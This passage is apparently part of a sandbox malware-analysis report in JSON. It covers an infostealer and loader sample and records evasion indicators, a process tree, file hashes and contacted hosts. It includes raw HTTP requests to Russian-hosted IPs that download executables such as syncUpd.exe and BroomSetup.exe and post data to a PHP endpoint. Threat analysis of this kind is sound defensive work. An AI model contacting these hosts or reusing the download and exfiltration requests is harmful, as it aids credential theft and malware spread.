00000000-00002012.00000001.67447.00299000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1533","relevance":10,"id":"string-508","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system","description":"ExitWindowsEx@USER32.DLL at 00000000-00000856-42198-524-00453D4C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1529","relevance":5,"id":"stream-23","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"Evasive","details_count":4,"details":[{"detail":"Marks file for deletion"},{"detail":"Executes WMI queries known to be used for VM detection"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"},{"detail":"Found a Wine emulator related string"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Contains ability to discover network shares"}],"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"Network","details_count":1,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"}],"sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]}]},"activity":{"stats":{"process_count":15,"spawned_processes_count":15,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":49,"imported_dlls_count":216,"dropped_files_count":0,"extracted_files_count":47,"files_written_count":165,"files_deleted_count":0,"registry_keys_created_count":20,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":20,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":8,"dns_resolutions_count":1,"contacted_urls_count":6,"http_requests_count":6},"behavior_tags":["mixloader","commodity","loader","broom","credentialharvesting","lummastealer","criminal","informationstealer","stealc","downloader","evasive","infostealer"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed","TOR analysis"],"sandbox_reports":[{"id":"6884a8ceb8ba0a9b5c03d337","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["RUS"],"submit_name":"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3","analysis_start_time":"2025-07-26T10:07:12+00:00","indicators_count":{"informative":252,"suspicious":73,"malicious":8},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed","TOR analysis"],"is_in_unified_schema":true},{"id":"65fc2a0d0c95d1bcd40e482c","environment_id":110,"environment_description":"Windows 7 32 bit (HWP Support)","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["RUS","USA"],"submit_name":"288c47bbc1871b439df19ff4df68f000766.exe","analysis_start_time":"2024-03-21T12:37:34+00:00","indicators_count":{"informative":251,"suspicious":105,"malicious":15},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"185.172.128.90","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"address":"185.172.128.187","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"address":"185.172.128.126","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"address":"185.172.128.209","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"address":"20.157.87.45","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"address":"20.9.155.145","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"address":"20.9.155.148","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"address":"20.9.155.150","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]}],"dns_resolutions":[{"domain":"svc.iolo.com","country":"-","registrar_name":"GODADDY.COM, LLC","registrar_organization":"iolo technologies, LLC","registrar_name_servers":"NS1.IOLO.COM","registrar_creation_date":"1998-04-17T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]}],"http_requests":[{"host":"185.172.128.90","host_ip":"185.172.128.90:80","url":"/cpa/ping.php?substr=four&s=ab&sub=0","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /cpa/ping.php?substr=four&s=ab&sub=0 HTTP/1.1\nHost: 185.172.128.90\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.161 Safari/537.36","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"host":"185.172.128.187","host_ip":"185.172.128.187:80","url":"/syncUpd.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /syncUpd.exe HTTP/1.1\nHost: 185.172.128.187\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.161 Safari/537.36","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"host":"185.172.128.187","host_ip":"185.172.128.187:80","url":"/ping.php?substr=four","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /ping.php?substr=four HTTP/1.1\nHost: 185.172.128.187\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.161 Safari/537.36","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"host":"185.172.128.126","host_ip":"185.172.128.126:80","url":"/BroomSetup.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /BroomSetup.exe HTTP/1.1\nHost: 185.172.128.126\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.161 Safari/537.36","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"host":"185.172.128.209","host_ip":"185.172.128.209:80","url":"/3cd2b41cbde8fc9c.php","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /3cd2b41cbde8fc9c.php HTTP/1.1\nContent-Type: multipart/form-data; boundary=----GDAAKKEHDHCAAAKFCBAK\nHost: 185.172.128.209\nContent-Length: 215\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"host":"svc.iolo.com","host_ip":"20.157.87.45:80","url":"/__svc/sbv/DownloadManager.ashx","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /__svc/sbv/DownloadManager.ashx HTTP/1.0\nConnection: keep-alive\nContent-Length: 300\nHost: svc.iolo.com\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Encoding: identity\nUser-Agent: Mozilla/3.0 (compatible; Indy Library)","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}],"processes":[{"pid":5760,"ppid":0,"name":"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe","command_line":"","sha256":"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3","normalized_path":"C:\\fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe","uid":"00000000-00005760","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":8076,"ppid":5760,"name":"InstallSetup_four.exe","command_line":"","sha256":"9b37a304f33bda4707c0dae60a20ac7c76c75752b0d06ad9fb2d6f07f8edd1b9","normalized_path":"%TEMP%\\InstallSetup_four.exe","parent_uid":"00000000-00005760","uid":"00000000-00008076"},{"pid":7560,"ppid":5760,"name":"288c47bbc1871b439df19ff4df68f076.exe","command_line":"","sha256":"051b0fe6b1d01ab0cc4dee0e7270b4dd54040a5c1783b78ea612bbf37d0c6f31","normalized_path":"%TEMP%\\288c47bbc1871b439df19ff4df68f076.exe","parent_uid":"00000000-00005760","uid":"00000000-00007560"},{"pid":1560,"ppid":5760,"name":"EasyAppns.exe","command_line":"","sha256":"cac5a59708cebec195aed03baf2c20b32b277ea73738d054ba40a072719160bf","normalized_path":"%TEMP%\\EasyAppns.exe","parent_uid":"00000000-00005760","uid":"00000000-00001560"},{"pid":4644,"ppid":1560,"name":"EasyApp.exe","command_line":"","sha256":"599fbee1c0335d5f8efae7ed35eed9700001841005158a1c8c6648b53a6e4bda","normalized_path":"%PUBLIC%\\Music\\EasyApp.exe","parent_uid":"00000000-00001560","uid":"00000000-00004644"},{"pid":7680,"ppid":5760,"name":"april.exe","command_line":"","sha256":"143d067bf572802cb8a76ad8e9e8b240b4f5cc6b757400a20fdfde18fb92a1fd","normalized_path":"%TEMP%\\april.exe","parent_uid":"00000000-00005760","uid":"00000000-00007680"},{"pid":7668,"ppid":7680,"name":"april.tmp","command_line":"/SL5=\"$302F4,1485356,54272,%TEMP%\\april.exe\"","sha256":"6848c671e27c33dd065e1d70c9be0a4205ad69ec9b4b4b356d03eb8dc73ddeb5","normalized_path":"%TEMP%\\is-T5UCC.tmp\\april.tmp","parent_uid":"00000000-00007680","uid":"00000000-00007668"},{"pid":7224,"ppid":7668,"name":"flashdecompiler32.exe","command_line":"-i","sha256":"777ea399013368cef357af77c88df152776feb2fa1bc3fae2cb01dd378adbbcc","normalized_path":"%LOCALAPPDATA%\\Senior Flash Decompiler\\flashdecompiler32.exe","parent_uid":"00000000-00007668","uid":"00000000-00007224"},{"pid":7288,"ppid":7224,"name":"WerFault.exe","command_line":"-u -p 7224 -s 584","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00007224","uid":"00000000-00007288"},{"pid":4452,"ppid":7224,"name":"WerFault.exe","command_line":"-u -p 7224 -s 584","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00007224","uid":"00000000-00004452"},{"pid":4496,"ppid":7668,"name":"flashdecompiler32.exe","command_line":"-s","sha256":"777ea399013368cef357af77c88df152776feb2fa1bc3fae2cb01dd378adbbcc","normalized_path":"%LOCALAPPDATA%\\Senior Flash Decompiler\\flashdecompiler32.exe","parent_uid":"00000000-00007668","uid":"00000000-00004496"},{"pid":6740,"ppid":4496,"name":"WerFault.exe","command_line":"-u -p 4496 -s 584","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004496","uid":"00000000-00006740"},{"pid":508,"ppid":4496,"name":"WerFault.exe","command_line":"-u -p 4496 -s 584","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004496","uid":"00000000-00000508"},{"pid":1548,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 460 -p 7224 -ip 7224","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00001548","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":1884,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 460 -p 4496 -ip 4496","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00001884","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="}],"all_imported_dlls":["Windows.StateRepositoryPS.dll","ntdll.dll","kernel32.dll","wbemcomn.dll","rsaenh.dll","msctf.dll","wow64.dll","oleaut32.dll","msIso.dll","netutils.dll","riched20.dll","TextInputFramework.dll","shfolder.dll","rpcrt4.dll","bcryptprimitives.dll","msvcrt.dll","shlwapi.dll","psapi.dll","_iscrypt.dll","OpcServices.dll","ole32.dll","imagehlp.dll","msimg32.dll","nsi.dll","msasn1.dll","apphelp.dll","edputil.dll","winsta.dll","wbemdisp.dll","imm32.dll","ucrtbase_clr0400.dll","pnrpnsp.dll","winrnr.dll","wbemsvc.dll","netapi32.dll","wmiutils.dll","CoreUIComponents.dll","VxSSL32.dll","gdi32.dll","sfc_os.dll","ws2_32.dll","ntmarta.dll","FWPUCLNT.DLL","setupapi.dll","crypt32.dll","comdlg32.dll","clrjit.dll","System.Core.ni.dll","aepic.dll","nlaapi.dll","sspicli.dll","uxtheme.dll","cfgmgr32.dll","version.dll","mswsock.dll","WinTypes.dll","clr.dll","fastprox.dll","dwmapi.dll","comctl32.dll","user32.dll","System.ni.dll","msls31.dll","powrprof.dll","msvcp_win.dll","xmllite.dll","advapi32.dll","cldapi.dll","IPHLPAPI.DLL","wow64cpu.dll","mscorlib.ni.dll","usp10.dll","urlmon.dll","winhttp.dll","samcli.dll","OneCoreUAPCommonProxyStub.dll","mscoree.dll","gdi32full.dll","iertutil.dll","NapiNSP.dll","winmm.dll","wtsapi32.dll","bcrypt.dll","sxs.dll","pcacli.dll","vcruntime140_clr0400.dll","dnsapi.dll","GdiPlus.dll","sfc.dll","AppxSip.dll","fltLib.dll","msvcr100.dll","winmmbase.dll","webio.dll","sechost.dll","ucrtbase.dll","CoreMessaging.dll","combase.dll","windows.storage.dll","propsys.dll","KernelBase.dll","kernel.appcore.dll","wbemprox.dll","samlib.dll","WindowsCodecs.dll","tiptsf.dll","mscoreei.dll","msacm32.dll","win32u.dll","mpr.dll","winnsi.dll","cryptsp.dll","OnDemandConnRouteHelper.dll","wow64win.dll","cryptbase.dll","shell32.dll","SHCore.dll","profapi.dll","clbcatq.dll","rasadhlp.dll","wininet.dll","wship6.dll","UIAutomationTypes.dll","wintrust.dll","System.Drawing.ni.dll","ntdsapi.dll","rtutils.dll","_shfoldr.dll","clrcompression.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","rpcss.dll","WSHTCPIP.DLL","wsock32.dll","dhcpcsvc6.dll","schedcli.dll","msctfui.dll","srvcli.dll","System.Data.ni.dll","netmsg.dll","api-ms-win-downlevel-version-l1-1-0.dll","msxml6r.dll","System.Xaml.ni.dll","System.Runtime.Serialization.ni.dll","ieframe.dll","dhcpcsvc.dll","idndl.dll","WMINet_Utils.dll","System.Net.Http.ni.dll","System.Xml.ni.dll","rasman.dll","lpk.dll","api-ms-win-downlevel-user32-l1-1-0.dll","d3d8thk.dll","System.Dynamic.ni.dll","credssp.dll","normaliz.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","ATL90.dll","System.Management.ni.dll","api-ms-win-core-xstate-l2-1-0.dll","Wldap32.dll","PresentationNative_v0400.dll","imageres.dll","d3d9.dll","UIAutomationProvider.dll","devobj.dll","secur32.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","RstrtMgr.dll","logoncli.dll","PresentationCore.ni.dll","DWrite.dll","System.Configuration.ni.dll","api-ms-win-core-synch-l1-2-0.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","security.dll","msvcp140_clr0400.dll","System.Security.ni.dll","SMDiagnostics.ni.dll","msvcr90.dll","PresentationFramework.ni.dll","Microsoft.CSharp.ni.dll","PresentationFramework.Aero.ni.dll","UIAutomationCore.dll","ncrypt.dll","System.Web.dll","browcli.dll","gpapi.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","msxml6.dll","WindowsBase.ni.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","netprofm.dll","olepro32.dll","wkscli.dll","System.Xml.Linq.dll","tzres.dll","mscorrc.dll","wpfgfx_v0400.dll","schannel.dll","rasapi32.dll","qmgrprxy.dll","oleacc.dll","userenv.dll","msvcp90.dll","wshqos.dll","nlssorting.dll","PresentationFramework-SystemXml.ni.dll","System.Numerics.ni.dll","GROOVEEX.DLL","oleaccrc.dll","shdocvw.dll","vm3dum_loader.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","RpcRtRemote.dll","System.Data.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"flashdecompiler32.exe","sha256":"777ea399013368cef357af77c88df152776feb2fa1bc3fae2cb01dd378adbbcc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"is-85VUO.tmp","sha256":"8a7d2da7685cedb267bfa7f0ad3218afa28f4ed2f1029ee920d66eb398f3476d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"is-AB0VE.tmp","sha256":"e85aecc40854203b4a2f4a0249f875673e881119181e3df2968491e31ad372a4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"is-D54J2.tmp","sha256":"602c2b9f796da7ba7bf877bf624ac790724800074d0e12ffa6861e29c1a38144","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"is-IRLGV.tmp","sha256":"9941eee1cafffad854ab2dfd49bf6e57b181efeb4e2d731ba7a28f5ab27e91cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"is-KQJQP.tmp","sha256":"ff206fbb3db0701109b5bcaa6a749dd47f06a5f9ad4c22d2ca7afffdcf305624","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"is-UM722.tmp","sha256":"f8385d08bd44b213ff2a2c360fe01ae8a1eda5311c7e1fc1a043c524e899a8ed","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"EasyApp.exe","sha256":"599fbee1c0335d5f8efae7ed35eed9700001841005158a1c8c6648b53a6e4bda","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"288c47bbc1871b439df19ff4df68f076.exe","sha256":"051b0fe6b1d01ab0cc4dee0e7270b4dd54040a5c1783b78ea612bbf37d0c6f31","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"EasyAppns.exe","sha256":"cac5a59708cebec195aed03baf2c20b32b277ea73738d054ba40a072719160bf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"InstallSetup_four.exe","sha256":"9b37a304f33bda4707c0dae60a20ac7c76c75752b0d06ad9fb2d6f07f8edd1b9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"_iscrypt.dll","sha256":"2f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"april.exe","sha256":"143d067bf572802cb8a76ad8e9e8b240b4f5cc6b757400a20fdfde18fb92a1fd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe.log","sha256":"d587c154ea3d33b016889939d2df7e914dd30bc1b8ca267bc316f4b98926df0d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"_bufr.xml","sha256":"30ac0d8e29e0d2e91976dc91a0022975abb098ac7e450d1edc300775527e7d92","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"_ce.xml","sha256":"e0fe3902615f3ab828e22bba2a484da4f141841cd824e63c37e05795d816daca","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"_abf.xml","sha256":"b90b5d01a60eaf8873faf62581806e25dcccc26204b95289bf4b3d36db4c7a1b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"_adb.xml","sha256":"125b77ec8136b890b1405307894ace72dc5c63fd0064bda16e9fcce648d380c3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"_agab.xml","sha256":"c8e1d42eca1f115e5ad86bdba7d37f6f7b25bdb056944e05df22ec1d754281c5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"_agb.xml","sha256":"6fa008c9509ce13faeed22228e10df755f0cb9282b0fda947ba8664c2c6f5964","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"_beq.xml","sha256":"2369b147593dac9c717dce2a1da1d61abf086b6a5351548b95e2b70d8bbba301","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"_bfn.xml","sha256":"5298d9fde9e37215a444568c8203ea8c9bfc05ddfcbd4d9366dd935f888c4b6d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"_bwo.xml","sha256":"c897b7c82bb593c03c2750fa92c14ecaf6a20f6582ca3499d39478febce7074b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"_bxt.xml","sha256":"a948d02e65f453ffdc624fa5caaca1c46f91454bc6c476453d7bf9373535f376","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"_bzr.xml","sha256":"87daa36b8f42ea72e1f8db91ae11d48dd6740188a04e093b6bc0c6c924a09929","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"name":"0970b71d4d4f4c5b8c210828cd2e567c.tmp","sha256":"ffc53c2778ed5f7f918b10687a9bbd33555694618d3efdad4c88cf22ea5cc60f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"15382759d91940aba6d5809208d90e61.tmp","sha256":"ffc53c2778ed5f7f918b10687a9bbd33555694618d3efdad4c88cf22ea5cc60f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"21859f0d3beb4938a6fe010f9d5db4f2.tmp","sha256":"ffc53c2778ed5f7f918b10687a9bbd33555694618d3efdad4c88cf22ea5cc60f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"3ba3f1d2b0e84c788d0cec471678c0ac.tmp","sha256":"ffc53c2778ed5f7f918b10687a9bbd33555694618d3efdad4c88cf22ea5cc60f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"3ce7b7c6766b4ac389d233f11a353061.tmp","sha256":"ffc53c2778ed5f7f918b10687a9bbd33555694618d3efdad4c88cf22ea5cc60f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"3e05b29608c44cd1bedcd7623ac60cb4.tmp","sha256":"ffc53c2778ed5f7f918b10687a9bbd33555694618d3efdad4c88cf22ea5cc60f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"bootstrap.log","sha256":"f38333f14700e58bb95dc4c997ab070700fda31b069262427715118de4b5f0a5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"WSComm.log","sha256":"48f12f543ace550d9d2f87a30e15caa7aaa595e98bc0f2a81ba37887754878fb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"055f5818bd374634ac9fc6b09be60593.tmp","sha256":"d263f1a98710f1ac73adc50da67128b492ab4941427ff851858143553769925f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"060a837f33c14a02af7731df7efdddc9.tmp","sha256":"94f98e9013e2a2259a0f4f6c9b323419be99d006cd5394a152f48608432313a2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"name":"0aa0b607624246b4b17293e0b1d497ce.tmp","sha256":"a7ad2118a695e0777e054a4ee5861b007d0a428bd2778f985959826796cbe274","verdict":"undetect